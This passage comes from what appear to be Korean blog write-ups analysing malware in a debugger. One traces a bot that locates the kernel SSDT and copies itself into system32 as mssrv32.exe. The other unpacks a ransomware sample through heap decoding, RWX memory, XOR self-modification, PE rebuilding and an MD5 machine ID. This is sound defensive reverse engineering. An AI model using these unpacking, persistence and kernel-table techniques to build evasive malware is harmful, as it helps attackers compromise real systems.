그 결과는 0xA60784가 되며, 이 값은 ntkrnlpa.exe의 .text section(코드가 실행되는 영역)을 가르키는 주소값으로 세팅이 됩니다.

0xA60784가 가르키는 주값을 따라가 보면 0x4874FC 와같이 또다른 VA(VirtualAddress)값이 들어있습니다.(메모리주소 0x15114A06부터의 설명)

이값으로 다음과 같은 연산을 진행합니다.

SUB EAX,DWORD PTR DS:[EDX+1C]

여기서 EAX값은 0x4874FC이며, [EDX+1C] 가르키는 값은 ntkrnlpa.exe 실제 파일상의 ImageBase주소인 0x400000으로 세팅되어있습니다.

0x4874FC(VA) - 0x400000(ImageBase) = 0x874FC(RVA)와 같이 RVA를 구하기 위한 연산임을 파악 할 수 있습니다.

그리고 첫번째 블록의 마지막 CMP ECX,DWORD PTR SS:[EBP+C]의 비교연산을 진행하는데 이것을 해석하면 다음과 같습니다.

0x874FC(RVA) == 0x7C0A0(KeServiceDescriptorTable 그림.22 참조)와 비교하여 같지 않을 경우 루프의 처음으로 돌아가고 같을 경우 이어서 코드가 실행이 됩니다.

 

다음으로 두번째 블록의 코드입니다.

메모리주소 0x15114A19를 보면 ADD EDX,DWORD PTR SS:[EBP-20]의 코드가 있습니다.

여기서 EDX는 0xA60000(ImageBase)값 입니다. 그리고 :[EBP-20]의 값은  0x7C0A0(KeServiceDescriptorTable RVA)의 값을 가르키는 RVA값 1BA48E입니다.

이 두값을 더하면 C1A48E값이 되며, 이값을 EDX레지스터에 저장합니다.

그리고 [EDX-2]와같이 C1A48E에서 -2의 위치의 데이터를 가리켜 EAX에 저장을하고, 이 EAX값과 5C7값과 비교연산을 진행합니다.

즉 여기서 5C7의 값의 의미를보면 PE상의 RVA값을 구하고 그 구한 위치에서 앞으로 2바이트 이동후 그 바이트 값과 비교한다면 이것은 OPCODE로 의심해 볼 수 있습니다.

한번 확인해 보겠습니다.

 

 [그림.25]

확인 결과 0x1BA48E 주소에 0xA0C047이 있으며, 0x1BA48E- 0x2 =  0x1BA48C에는 0xC705(Little Endian표기 변환시 0x5C7) 인것을 확인 할 수있습니다.

그럼 이 OPCODE가 어떤것을 의미하는지 알아야합니다.

다음과 같이 Olly에서 빈공간에 코드를 붙여다 놓습니다.

 

[그림.26]

 

코드를 확인결과 MOV DWORD PTR DS:[47C0A0], 42AB8C의 코드로 0x47C0A0가 가르키는 곳에 0x42AB8C주소값으로 세팅하는 OPCODE입니다.

음.. 뭔가 냄새가 나기 시작하네요 ㅎㅎ

어쨌든 이어서 그림.24의 메모리주소 0x15114A30 부터분석을 이어서 진행하겠습니다.

마지막 코드 부분의 메모리 주소 0x15114A30에 보면 MOV EAX,DWORD PTR DS:[ECX+4]와 같은 코드가 있습니다.

현재의 ECX값은 0xC1A48E이며 여기서 +4의 값은 C1A492값이 되고, 이 주소값이 가르키는 값은 0x42AB8C값이 됩니다.

그리고 그 아래 SUB연산은 역시 VA값을 RVA로 변환하는 코드가 되겠습니다.

그렇게되면 0x2AB8C가 되며, 추가적인 작업없이 함수를 빠저나갑니다.

 

[그림.27]

 

그 다음 작업으로 SSDT 테이블에 함수포인터 주소들이 저장되어 있는데 이 주소들을 자기자신의 .data section에다 가져오는 파싱하는 작업을 진행합니다.
그림.27에서 분석을 하다보면 그림.26에서 MOV DWORD PTR DS:[47C0A0],42AB8C 코드의 의미를 알 수있습니다.
먼저 답을 말하자면 0x47C0A0(VA)는 KeServiceDescriptorTable의 시작주소이며, 0x42AB8C(VA)는 위에서 설명한 KeServiceDescriptorTable의 첫번째 멤버인 KiServiceTable(SSDT)의 시작주소 입니다.
즉 KeServiceDescriptorTable 의 첫번째 멤버에 SSDT 테이블의 시작주소로 세팅하는것으로 볼 수 있습니다.
박스위의 코드먼저 분석하면 다음과 같습니다.
우선 0x42AB8C(SSDT VA) - 0x400000(IMAGEBASE) = 0x2AB8C(SSDT RVA) SSDT의 RVA값을 획득하고,
0x2AB8C(SSDT RVA) >= 0x1F9900(ntkrnlpa.exe의 Optional_Header의 SizeOfImage)의 조건이 만족할때까지 루프를 돕니다.
그리고 0xA60000(LoadLibray로 로드된 krnlpna.exe의 IMAGEBASE) + 0x2AB8C(SSDT RVA) = 0xA8AB8C(SSDT VA)값으로 세팅합니다.
그리고 0xA8AB8C(SSDT VA)가 가르키는 첫번째 주소에는 함수에 대한 포인터주소가 VA형식으로 저장되어 있습니다.(그림.28참조)

0xA8AB8C(SSDT VA)가 가르키는 첫번째 주소에는 0x4C2A5E가 값이 있으며, 이 주소값이 VA이기 때문에 RVA로 변환하는 작업을하여 0x2CA5E로 만듭니다.
그리고 그림.17 과 그림.18을 보면 현재 커널영역에 로드된 커널이미지의 주소를 얻어왔었습니다.
그 주소는 0x804D9000이고 이 주소값역시 IMAGEBASE주소인것을 확인 했었습니다.
이제 이 주소에다 SSDT 테이블의 첫번째 함수주소의 RVA값을 더해서 커널영역에 로드된 커널이미지의 SSDT테이블의 첫번째 함수의 주소값으로 세팅을 합니다.
0x804D9000 + 0x2AB9C(SSDT RVA) = 0x8059BA5E(Kenel영역에 로드된 커널이미지의 SSDT 테이블의 첫번째 함수포인터 nt!NtConnectPort)

 

 

[그림.28 합쳐야함]

 

여기서 확인해보겠습니다.

커널에 영역에 로드된 커널이미지의 IMAGEBASE인 0x804D9000 주소값과 0x2AB8C(SSDT RVA) 를 더하면 0x80503B8C주소로 KeServiceDescriptorTable의 첫번째 멤버인 KiServiceTable(SSDT)의 주소인것을 확인 할 수 있으며, 다시 0x80503B8C 확인해보면 함수포인터주소로 세팅되어진 SSDT를 확인 할 수 있습니다.

 

[그림.29]

 

그리고 그림.27에서 메모리주소 0x15114BDE에서 작업한대로 현재 실행중인 악성코드의 .data section에 SSDT 테이블의 함수포인터들이 저장되어있는것을 확인 할 수 있습니다.

 

 [그림.30]

 

그리고 자기자신(_bot.exe)을 c:\windows\system32\mssrv32.exe 파일로 이름을 변경하여 시스템 디렉토리에 복사합니다.

그리고 CreateProcessA함수로 _bot.exe를 또다시 실행하게 됩니다.

 

[그림.31]

 

시스템 디렉토리에 생성된 mssrv32.exe파일과 현재 실행중인 코드와 같은지 MD5로 비교했고 결과는 동일한 파일임이 밝혀졌습니다.

이제 그림.30에서 CreateProcessA함수로 자기 자신을 또다시 실행하게 됩니다.

이때 실행되는 코드는 지금까지 실행됬던 코드 그대로 실행되는것이 아닙니다.

분석초반부 그림.7번에서 뮤텍스를 생성했었고 부모 프로세스인 _bot.exe가 뮤텍스를 갖고 있습니다.

이상태에서 자식프로세스로 자기자신을 생성했을시에는 그림.7번과 같이 0x0B7(183) ERROR_ALREADY_EXISTS 에러코드가 발생을 하고 분기문을 무시하고 순차적으로 코드가 실행이 됩니다.

간단하게 부모프로세스가 뮤텍스를 갖고있고 자식프로세스가 동일한 이름의 뮤텍스를 생성하려고 시도하자 0x0B7(183) ERROR_ALREADY_EXISTS 에러가 발생하게되어 분기의 흐름을 변경시키는 것입니다.

그럼 여기서 CreateProcess로 실행되는 코드분석은 어떻게 해야할까요?

코드를 수정해서 서스펜드 시킨 후 분석해도 되지만 뮤텍스로 코드의 흐름을 제어하는것을 알았기 때문에 그냥 현재의 디버거창은 그대로 둔 상태에서 새로운 Ollydbg로 _bot.exe파일을 올려서 분석을 진행하면 이어서 분석을 할 수가 있습니다.

 

 

posted by 미스터리 DKL

 

 

[그림.1]

Cuckoo SandBox동적분석 결과

[그림.2]

 

0x00411CA 주소에서 CALL rnasomew.0043EA30 함수를 호출하는데 이 함수의 내부로 들어가서 분석을 해보면 Heap을 생성하고,

ransomware.exe PE의 .rdata섹션의 데이터를 생성된 Heap주소공간에 복사를 합니다.

 

[그림.3]

PE의 .rdata seciotn의 데이터를 Heap에 복사하는 과정입니다.

[그림.4]

 

그리고 나서 복사된 원본 데이터를 1E51FCC값을 더하여 디코딩을 시작하는데 이중 루프문을 사용하여 총 11463Ah크기만큼 반복하고 44h회 만큼 더합니다.

결국 1163Ah*44h=49E768h(4843368)만큼 루프를 돌면서 디코딩을 하게 됩니다.

 

[그림.5]

 

그리고 디코딩된 힙영역을 VirtualProtect함수로 PAGE_EXECUTE_READWRITE의 실행 권한으로 변경합니다.

 

[그림.6]

 

실행권한을 READWRITE로 변경하고 바로 "JMP EDI"로 점프합니다.

EDI 레지스터가 가르키는 주소는 지금까지 힙을 생성하고 디코딩하고 실행권한을 주었던 힙영역입니다.

이부분을 실행하게되면 Local PE(ransomware.exe)의 EIP레지스터 값이 생성된 힙의 첫번째 주소로 세팅됩니다.

#분석을 하다보면 항상 모든게 새롭고 너~무 낯서네요.. 악성코드 제작자에게 뭔가 하나씩 배운다는 느낌? 이있는 반면 끝까지 분석을 못할것 같은 두려움이 공존하네요..ㅠㅠ

 

[그림.7]

 

점프를 해보면 그림.7과 같이 EIP주소가 힙주소의 첫번재 영역으로 변경되었습니다.

이부분의 코드를 보면 CB0B9615의 값의 DL값 15를 시작으로 하여 복잡한 연산을 통해 XOR BYTE PTR DS:[EAX],DL을 하여 디코딩을 진행합니다.

여기서 EAX값의 레지스터는 힙영역의 주소 즉 자기자신의 주소로 세팅되어집니다.

0x012D3B38에서 0x012D3B64까지 루프를 돌며 디코딩을 하여 그림.7에서 ???로 보여지는 알 수 없는 명령어들이 실행가능한 어셈명령으로 복원 됩니다.

 

[그림.8]

 

코드복원이 완료되면 Virtualalloc 함수로 0x012E0000에 Heap을 생성 하고 첫바이트부터 ransomeware.exe PE의 .rdata섹션을 복사합니다.

 

[그림.9]

그리고 복사된 부분을 다시 디코딩을 통해 복구합니다.

 

[그림.10]

 

다시 Virtualalloc 함수로 힙을 할당하는데 할당된 주소는 0x01420000입니다.(반복적인 부분이라 함수 호출은 생략합니다.)

그리고 다시 그림.9의 과정을 반복 하는데 이번에는 Local PE의 .text섹션의 특정부분을 힙영역에 복사를 하고 디코딩을 합니다. 

헥사덤프 영역을 확인해보면 4D705A로 실행파일 구조인 것을 확인할 수 있습니다.

즉 원본 PE파일의 .text section의 특정영역을 힙영역으로 복사하고 디코딩을 통해 복원하는 것으로 볼 수 있습니다.

 

 

[그림.11]

 

0x012D4240주소부분의 명령을 보면 PUSH ESI를 합니다. 이때 ESI값이 0x014498AC인데 이부분에 복잡한 연산을 통해 0x1420000 ("MPZ...PE..") 바이너리를 정상적인 PE구조로 재구성 합니다.

그리고 복사가 완료되면 0x012D422C REP STOS BYTE PTR ES:[EDI] 명령으로 원본PE 바이너리를 전부 0으로 변경합니다.#(하 당황스럽네요..)

 

 

[그림.12]

 

그리고 복원한 PE 바이너리를 각각 00으로 초기화한 Local PE(Ransomware.exe)의 영역(0x004000000)에 PE Header/ .text section / .data section / .idata section / .reloc section을 각각 복사합니다.

 

[그림.13]

 

그리고 PE재구성이 완료되면 사용한 Heap을 초기화하고 새로생성된 PE의 Entry Pointer로 점프합니다.

점프하면 위의 그림.13과 같이 ransomware.exe의 원본 코드가 새로운 코드로 변경된 것을 확인 할 수 있습니다.

분석하기전 간략히 코드의 흐름을 파악하기 위해서 먼저 프로그램이 종료되기 전까지 분석해본 결과 크게 2개의 함수를 사용하고 그 함수내의 여러개의 서브함수로 구성되어 있습니다.

 

[그림.14]

첫번째 함수 내부로 들어오면 그림.14와같이 되어있습니다.

여기서는 InitialCriticalSection함수로 동기화를 사용하기 위해 0x00440B74영역을 초기화 합니다.

이부분의 설명은 뒷부분에 이어서 하겠습니다.

그리고 다시 함수 내부로 진입합니다.

 

[그림.15]

 

0x004E943를 호출하는 함수와 RtlAllocateHeap을 호출하는 함수로 구성되어 있습니다.

첫번째 함수 0x004E943 의내부로 진입한 하면 그림.16과 같이 되어있는데 HeapCreate 함수를 호출해서 힙영역을 할당합니다.

HeapCreate 함수 호출만으로 메모리에 힙이 생성되는줄 알았는데 그게 아니라고 하네요 HeapCreate함수를 호출하고 RtlAllocateHeap을 호출해야 Heap영역에 메모리가 할당이 되는거라고 합니다.


좋은 설명 ex)http://baeg.tistory.com/38

 

[그림.16]

 

그림.16에 들어가기전 동기화에 대해 간략히 알아보겠습니다.

동기화는 thread 또는 process를 순차적으로 규칙적이게 사용할 수 있도록 제어하는 함수를 말합니다. 즉 도로의 신호등 역할이라고 하는것으로 보면 됩니다..

그중 동기화 기법에 사용되는 대표적인 함수는 CriticalSection, Mutex, Semapore, Event 등이 있습니다.

각 함수마다 사용법과 개념은 비슷하나 차이점이 있습니다. 예로 CriticalSection같은 경우 한프로세스 내의 스레드를 동기화 하기 위해 사용되며 프로세스 간의 동기화는 불가능 하고 그외의 동기화 함수들은 스레드 및 프로세스 간의 동기화를 지원합니다.

그림.16에서 동기화 구간은 0x0042E953(EnterCriticalSection) ~ 0x0042E97D(LeaveCriticalSection)까지 입니다.

동기화된 구간에 진입을 하기 위해서는 CriticalSection이 신호상태가 되어야 하며, 비신호 상태인 경우 다른 스레드가 해당영역에 접근을 하지 못하고 대기 상태가 됩니다.

신호와 비신호 상태를 간략히 정의하면 다음과 같습니다.

 

Signal(신호 상태)  FFFFFFFF      : 스레드가 실행 될 수 있는 상태
Nosignal (비신호 상태) 0000001   : 스레드가 대기하게 되는 상태

 

CriticalSection을 사용하기위해서 처음 InitializeCriticalSection으로 초기화를 해야합니다.

초기화를 하면 그림.16의 하단과 같이 FFFFFFFF 신호상태로 되며, 해당 EnterCriticalSection함수 호출과 동시에 동기화 영역에 접근하게 되면 0000001로 비신호 상태로 변경됩니다.

그리고 LeaveCriticalSection함수 호출로 동기화 영역을 빠저나오게 되면 다시 FFFFFFFF 신호상태로 대기하던 스레드가 해당영역을 접근 가능한 상태로 변경이 됩니다.

 

이제 본격적으로 분석에 들어가면 동기화영역에 0x42E985부분의 함수호출이 있습니다.

함수 내부로 진입하면 Heap을 생성하는데 80000h만큼의 공간을 HeapCreate함수로 호출하게 됩니다.

제가 분석하는 시스템에서의 생성된 Heap메모리 주소는 0x15F0001 입니다.(이주소는 유동적이라 같지 않습니다.)

 

 

 

 

[그림.17]

 

 .text section의 특정데이터를 연산을 통해 ntdll.dll 스트링 문자열을 만들고 스택에 저장합니다.

 

[그림.18]

 

그리고 IsWow64Process, Kernell32.dll 스트링값을 각각 EDX,ECX 레지스터에 저장하고 0x0041C1BE 함수에서 GetModuleHandle 함수를 호출하여 Kernel32.dll의 ImageBase를 얻고 GetProcAdress로 Kernel32.dll의 API함수의 주소들을 가저옵니다.

그리고나서 0x0041C1D7의 IsWow64Process함수를 호출하는데 리턴값이 1이면 32비트 0이면 64비트입니니다.

그림 18번의 리턴값인 EAX레지스터를 확인해보면 1로 32비트의 시스템인것을 확인 할 수 있습니다.

 

[그림.19]

 

 

그림.19를 분석하기위해서는 ACL(Aceess Control List)에 대해서 이해를 해야합니다.(하.. 이번 요놈은 정말 너므 어렵네요 ㅠ)

IT용어사전을 참조하여 알아보면 "객체에 대한 접근이 허가된 주체들과 이들 주체가 허가받은 접근 종류들이 기록된 목록. 개개의 사용자들이 디렉터리나 파일과 같은 특정 시스템 객체에 접근할 수 있는 권한을 컴퓨터의 운영 체계에 알리기 위하여 설정해 놓은 목록이라고 할 수 있다"(참조:http://terms.naver.com/entry.nhn?docId=848707&cid=391&categoryId=391)

그리고 이 ACL에서 Security descriptor를 설정하여 파라미터로 넘겨야하는데 이부분도 IT용어사전을 참조하면 다음과 같다.

"객체의 보안 정보를 포함하고 있는 구조체 및 관련 데이터, 객체의 소쥬자 및 1차 그룹을 식별하는 기능을 제공하며, 또한 임의 접근 제어 목록(DACL:Discretionary Access Control List)과 시스템 접근 제어 목록(SACL:System Acess Control List)를 포함할수 있다."(참조:http://terms.naver.com/entry.nhn?docId=863496&cid=2956&categoryId=2956)

MSDN의 문서를 보면 Security Descriptor는 다음과 같은 구성으로 되어있다는것을 확인 할 수 있습니다.

 

O:owner_sid

G:group_sid

D:dacl_flags(string_ace1)(string_ace2)....(string_acen)

S:sacl_flags(string_ace1)(string_ace2)....(string_acen)

 

여기서 O:owner_sid는 개체의 소유자를 식별하는 SID 문자열이고 G:group_sid는 개체의 주 그룹을 식별하는 SID 문자열 입니다.

그리고 dacl_flags는 Acess가 허가되거나 거부된 사용자의 목록이며 ACE(Access Control Entry) String으로 사용합니다.

마지막으로 sacl_flags는 개체 Access를 감사하는 방법을 제어하며, 감사된 작업은 보안 로그에 이벤트가 기록됩니다.

DACL과 SACL의 Flags는 같은 Control Bit 를 사용합니다.

 

그림.19의 분석을 진행하면 처음 InitializeScurityDescriptor를 호출합니다.

함수명 그대로 Security Descriptor를 초기화 하고 SetSecurityDescriptorDacl함수를 호출하여 dacl을 세팅합니다.

그리고 0x0041FE14에서 UNICODE "S:(ML;;NRNWNX;;;LW)" UNICODE의 문자열을 인자로 ConvertStringSecurityDescriptortoSecurityDescriptor함수를 호출하는데 스트링포맷의 "S:(ML;;NRNWNX;;;LW)"를 SecurityDescriptor로 변환합니다.

스트링포맷에대해 MSDN을 참조하니 Sddl.h헤더파일을 참조하라고 안내합니다.

해당내용을 sddl.h내용의 일부를 악성코드에서 사용하는 코드만 모아서 정리해보았습니다.

 

#define SDDL_SACL                                       TEXT("S")       // SACL tag

#define SDDL_MANDATORY_LABEL                 TEXT("ML")    // Integrity label

#define SDDL_NO_READ_UP                            TEXT("NR")

#define SDDL_NO_WRITE_UP                           TEXT("NW")

#define SDDL_NO_EXECUTE_UP                      TEXT("NX")

#define SDDL_ML_LOW                                   TEXT("LW")   // Low mandatory level

 

하지만 해당 악성코드샘플에서는 SetSecurityDesciptorDacl 에서부터 파라미터로 넘겨주는 값들이 전부 0으로 세팅되어 함수호출 실패상태가되고 이어서 ConvertStringSecurityDescriptortoSecurityDescriptor 함수호출 역시 실패되어 ACL세팅을 하지못하고 분기문을통해  0x0041FE21에서 점프하여 해당 로직을 빠저나가게 됩니다.

 

<참조>

http://blog.daum.net/network_goshen60/6278682

http://msdn.microsoft.com/en-us/library/windows/desktop/aa379570(v=vs.85).aspx

http://msdn.microsoft.com/en-us/library/windows/desktop/aa374928(v=vs.85).aspx

 

[그림.20]

 

분기하여 SHGetFolderPath함수로 특수폴더의 경로를 얻어오고 PathRemoveBackslash 함수로 얻어온 경로의 마지막 백슬래쉬를 제거합니다.

 

[그림.21]

 

그리고 GetModuleFilename으로 현재 실행중인 프로세스의 이름을 얻어옵니다.

 

[그림.22]

 

Heap을 생성하고 GetModuleFilename으로 얻어온 경로를 memcpy를 이용하여 메모리에 복사합니다.

 

[그림.23]

 

이어서 현재 실행중인 프로세스 ID값을 구합니다.

 

[그림.24]

 

그리고 현재 실행중인 파일의 ImageBase(00400000)값과 3C를더해 PE시그니쳐 위치를 EAX레지스터에 저장해놓고 이 위치를 기준으로 EAX레지스터에 각각 14와 6을 더해서 PE의 Size of optional header(000000E0)값과 Number of section(00000004)값을 얻어옵니다.

그리고 0x00417E0D의 메모리 주소를 보면 ESI레지스터에 값을 저장하는데 EDI+EAX+9C를 더한 값이 가르키는 곳의 데이터를 저장합니다.

이것을 풀이하면 PE + E0 + 0C(EDI+EAX+9C)와 같이 볼 수 있습니다.

해당 값이 가르키는 곳의 데이터를 확인하면 PE의 .reloc section의 RVA값 00045000를 가르키는것을 확인할 수 있습니다.

그리고 .reloc section을 파라미터값으로 isBadReadPtr함수를 호출하는데 해당 함수의 역할은 해당영역을 읽을 수 있는지 여부를 체크하기 위한 함수입니다.

즉 .reloc section의 읽기 권한이 있는지 체크하는것 같습니다.

저 섹션에 읽기 권한이 있다면 False를 리턴하고 읽기권한이 없다면 True를 리턴합니다.

 

 

[그림.25]

 

그리고 PE 구조가 변경되기전의 원래의 파일을 Read_only(읽기전용) 상태로 CreateFile함수를 호출하고 GetFileSizeEx함수로 해당파일의 크기를 구합니다.

 

[그림.26]

 

그림.25에서 OPEN한 PE구조가 변경되기전의 PE파일의 .text section의 상태입니다.

[그림.27]

 

그림.27은 현재 실행중인 변경된 PE파일의 .text section의 상태입니다. 그림.26과 비교해볼때 서로 다른것을 확인할 수 있습니다.

 

[그림.28]

 

그리고 가상메모리를 할당하는데 PAGE_READWRITE권한으로 변경전PE파일 사이즈만큼 VirtualAlloc함수를 사용하여 가상메모리를 생성하고 생성된 메모리의 번지주소를 리턴하는데

제가 분석중인 대상의 할당받은 메모리주소는 0x1670000입니다.

 

[그림.29]

0x1670000 주소에 복사된 원본PE의 바이너리 입니다.

 

[그림.30]

 

0x004293D9에서 CALL함수를 호출하는데 함수 내부로 들어가면 복사된 원본PE바이너리 데이터의 특정바이트를 스택메모리주소에 복사합니다.

그리고 0x4293E2에 CMP,EAX,45564144 의비교문에서 복사된 값과 45564144 값을 비교하여 같을때까지 memcpy함수를 이용하여 45564144 찾습니다.

 

[그림.31]

 

다음은 할당된 Heap메모리영역의 원본PE데이터의 일부를 스택메모리 주소에 복사하는 과정입니다.

이와같이 CMP의 비교문이 같을때까지 반복을 진행합니다.

 

 

[그림.32]

 

만약 반복조건이 성립될 경우 그림.32와 그림.33의 함수로 진입하게 됩니다.

그림.32는 CryptDestroyHash 함수로 해쉬개체를 없애는 함수인데 지금까지 해쉬를 생성한적이 없으므로 해당 함수호출은 하지않고 return문으로 건너뛰게 됩니다.

 

[그림.33]

 

그리고 CriticalSection영역으로의 진입도 하지 못한고 리턴하게됩니다.

해당 CriticalSection영역의 0x42AE52에서 CALL로 함수호출을 하게되는데 내용을 간략히 살펴보면 반복문을 통해 특정값과 연산후 EAX레지스터를 세팅하고 세팅된 EAX값을

MOV DWORD PTR DS:[ECX*4+440C70],EAX 와 같이 ECX*4+440C70 더한값이 가르키는 메모리주소에 데이터를 저장하게 됩니다.

즉 변형된PE(현재 실행중인PE)의 .rdata section 특정위치의 연산결과로 얻은 값을 EAX에 저장하는 연산입니다.

하지만 해당 함수도 조건에 맞지않아 호출하지못하고 Return 하게 됩니다.

[그림.34]

그리고 VirtualFree함수로 원본PE의 바이너리를 복사했던 Heap영역을 초기화 시킵니다.

 

[그림.35]

 

그리고 StringFromGUID2함수 호출로 GUID를 "Global\{431ECAFD-78C3-D5E8-0845-524E38E8715C}"문자열형식으로 변환 합니다.

 

[그림.36]

 

그리고 CreateMutex를 이용해 동기화를 사용하기 위해 뮤텍스 개체를 생성하고 WaitForSingleObject로 뮤텍스를 획득한다.(뮤텍스가 스레드에의해 획득가능할때 Signal, 뮤텍스가 스레드에의해 획득되어 있을때 Non-Signal)

 

[그림.37]

 

그리고 OpenMutex로 GUID값으로 뮤텍스의 핸들을 얻으려는 시도를 합니다.

실패시 다시 그림.35과정을 반복하여 GUID를 생성하고 그림.37과정을 진행합니다.

이와 같이 반복적인 과정을 진행하고 함수를 빠저나옵니다. (이부분은 재확인 필요)

 

[그림.38]

 

0x0043431E영역(.text section)을 PAGE_EXECUTE_READWRITE 인자값으로 호출 합니다.

즉 0x0043431E영역부터 SIZE값 152만큼 코드영역 부분을 읽기/쓰기 권한으로 변경합니다.(원래 코드영역은 읽기 전용입니다. 쓰기불가)

 

[그림.39]

 

그리고 0x445000의 영역(.rdata section) 값으로 연산을 통해 0x0043435D영역(.text section)의 바이너리 데이터값에 EAX값과 덧셈연산을 진행합니다.

만약 이 EAX값이 0이 아닌경우 코드섹션의 바이너리 데이터는 변경이 될것입니다.

하지만 그림.39의 00427C4C의 ADD DWORD PTR DS:[ECX],EAX 명령의 EAX값은 항상 0으로 세팅되어 코드를 변경하지 않습니다.

즉 위의 코드를 분석해보면 분석을 방해하기위한 쓰레기 코드 인것 같습니다.

[그림.40]

 

그림.39의 과정을 빠저나오게되면 본격적인 코드변형이 실행됩니다.

그림.40의 0x42947A 실행주소를 보면 XOR BYTE PTR DS:[EDX+EDI],AL 와같은 명령어를 사용하는데 EDX+EDI를 더한값이 가르키는 주소가 0x0043431E(.text section)영역입니다.

이 영역의 1바이트 부터 AL에 저장된 값과 XOR연산을 통해 순차적으로 코드영역의 데이터를 변경합니다.

[그림.41]

 

메모리영역의 주소값을 확인하면 0x0043431E(.text section)이 값이 0x00401000 ~ 0x00445000 사이의 값으로 .text section의 값임을 확인할 수 있습니다.

 

[그림.42]

 

변형된 코드 영역의 Assembler code영역을 확힌하면 그림.42처럼 되어있습니다.

코드가 변형되어 디버거에서 분석되지 않은 상태로 되어 있는 것입니다.

 

[그림.43]

 

분석되지 않은 코드를 Analyze code 옵션으로 분석가능하도록 변경합니다.

0x43431E부터 스택프레임을 할당 하는것으로 보아 디코딩된 코드영역의 데이터는 함수인것으로 확인할 수 있습니다.

 

[그림.44]

 

그림.38에서 VirtualProtect로 0x43431E(.text section)을 읽기/쓰기 권한을 주었었습니다.

다시 이 권한을 VirtualProtect함수로 0x43431E(.text section) 읽기 전용으로 변경합니다.

 

[그림.45]

 

그리고 함수를 빠저나와서 확인해보면 바로 아래 0x411B486에서 CALL명령으로 0x43431E(.text section)함수를 호출합니다.

 

 

[그림.46]

 

0x005056C0 .text section의 데이터를 0x0012E22C 스택영역의 메모리 주소에 저장합니다.

그리고 그림.46의 0x0041AD87 ~ 0x0041AD8A의 명령루틴을보면 .rdata section의 데이터를 AL레지스터로 이동하고 스택영역에 복사된 .text section의 데이터와 XOR 연산을 진행합니다.

 

[그림.47]

 

그림.46과 그림.47을보면 .text section의 데이터를 .rdata section의 특정바이트와 XOR연산을 하여 디코딩하는것처럼 보이지만

실제결과는 memset함수로 디코딩한 영역을 모두 0으로 변경시켜 분석을 지연시키려는 쓰레기코드로 유추할 수 있습니다.

 

[그림.48]

 

그리고 RegQueryValueEx함수로 DigitalProductId레지스트리 값을 가저옵니다.

 

[그림.49]

 

그리고 여기서부터는 특정데이터를 MD5 해쉬값으로 만듭니다.

암호화를 하기위해 우선 CryptAcquireContext 함수로 CSP(cryptographic service provider )내의 특정 키 컨테이너의 핸들을 얻습니다.

(CSP)는 인증, 인코딩 및 암호화를위한 암호화 알고리즘을 수행하는 독립 소프트웨어 모듈입니다.

 

[그림.50]

 

CryptCreateHash 함수의 첫번째 인자로 CryptAcquireContext의 핸들을 입력하고 두번째 인자로 00008003(CALG_MD5)값으로 MSDN을 참조하면 해당 값이 MD5를 사용하기 위해 할당하는 값인것을 확인 할 수 있습니다.

그리고 마지막 인자값 PUSH EBP 에서 12E348(수정해야함)주소값을 스택에 저장합니다.

이부분이 CryptCreateHash 함수를 호출하면 새로운 Hash Object를 생성하는데 이 마지막 파라미터주소의 번지값에 해쉬객체를 저장합니다.

ㅊ함수는 함수호출 성공시 True, 실패시 False로 나타내며 해쉬객체의 핸들을 PUSH EBP(HCRYPTHASH *phHash) 마지막 파라미터에 입력합니다..

정리하면 암호화 알고리즘을 세팅하고 해쉬객체를 생성하기 위한 단계로 볼수 있습니다.

그리고 CrypyHashData 함수로 생성된 해쉬객제 내에 데이터를 추가합니다.

CrypyHashData의 첫번째 인자로 CrypyHashData함수로 생성된 해쉬객체의 핸들을 파라미터로 넘기고 두번째 인자로 해시 개체에 추가되는 데이터가 포함 된 버퍼의 포인터 주소를 입력합니다. 그리고 두번째 인자값으로 추가되는 데이터의 길이를 세번째 파라미터 값으로 입력합니다.

그림.50에서 위 과정을 총 3번 반복하게 되는데 각각 해쉬객체에 추가하는 데이터는 Service pack3,4D187CDC,DigitalProductId레지스트리 값을 해쉬객체에 추가합니다.

 

[그림.51]

 

마지막으로 CryptGetHashParam 함수를 호출합니다.

해당함수를 호출하면 최종적으로 MD5 HASH DATA가 버퍼에 저장이됩니다.

CryptGetHashParam함수의 첫번째 인자로 해쉬객체의핸들이 입력되고, 두번째로 PUSH 2가 들어갑니다. MSDN을 참조하면 HP_ALGID/HP_HASHSIZE/HP_HASHVAL를 두번째 파라미터의 값으로 사용한다고 되어있습니다.

각각의 값들의 사용하는 정수값을 확인하기 위해서는 WinCrypt.h 헤더파일에서 확인을 해야합니다. HP_HASHVAL(0x0002 //Hash value)값으로 사용되는것을 확인 할 수 있습니다.

그리고 3번째 인자값으로 MD5로 암호화된 데이터를 저장할 버퍼를 넘겨주고 마지막 4번째로는 3번째 데이터를 저장할 버퍼의 길이를 저장할 주소를 넘겨줍니다.

그림.51의 HEX DATA창을 보면 이러한 과정을 거처 MD5값을 완성합니다. 

[그림.52]

 

그림.51에 HEX DATA창에 총 16바이트(32비트)로 MD5값이 생성이 되었는데요 그림.52의 로직을 통해 1바이트 Hex 값(6C)의 값을 각각 6,C로 나누어 총 32바이트 공간에 해쉬값으로 데이터를 만듭니다.

 

 

[그림.53]

 

완성된 MD5값을 0x0012E7D4 버퍼에 _vsnwprintf 함수로 복사합니다.

 

[그림.54]

 

그리고 해쉬객체를 초기화 시킵니다.

 

 

[그림.55]

 

다음으로 GetVolumeNameForVolumeMountPoint 함수로 C:\WINDOWS 함수에 대한 GUID를 얻으려고 시도를하는데 리턴값이 False로 실패하고 다시 C:\문자열로 변경후 시도하여 리턴값을 True로 얻고 C:\에대한 GUID를 얻는데 성공합니다.

 

[그림.56]

 

그리고 생성된 C:\의 GUID값을 CLSIDFromString함수로 SID값으로 만듭니다.

 

[그림.57]

 

"C:\Documents and Settings\dklee\Local Settings\Application Data" 문자열을 파라미터로 입력하여 GetFilleAttributesW함수를 호출하여 Application Data 디렉토리의 속성값을 얻습니다.

리턴된 값인 EAX레지스터를 보면 00000012값을 확인하려면 WinNT.h 헤더파일을 참조하면 되며 리턴값  00000012은 OR로 결합된 값입니다.

헤더파일 에서 확인하면 각각 FILE_ATTRIBUTE_HIDDEN, FILE_ATTRIBUTE_DIRECTORY 임을 확인할 수 있습니다.

 

[그림.58]

그리고 현재 실행중인 코드의 일부분인 0x4046C0(.rdata section)값을 0x0012E228(Stack Buffer) 52Ch(1324)만큼 복사합니다.

 

[그림.59]

 

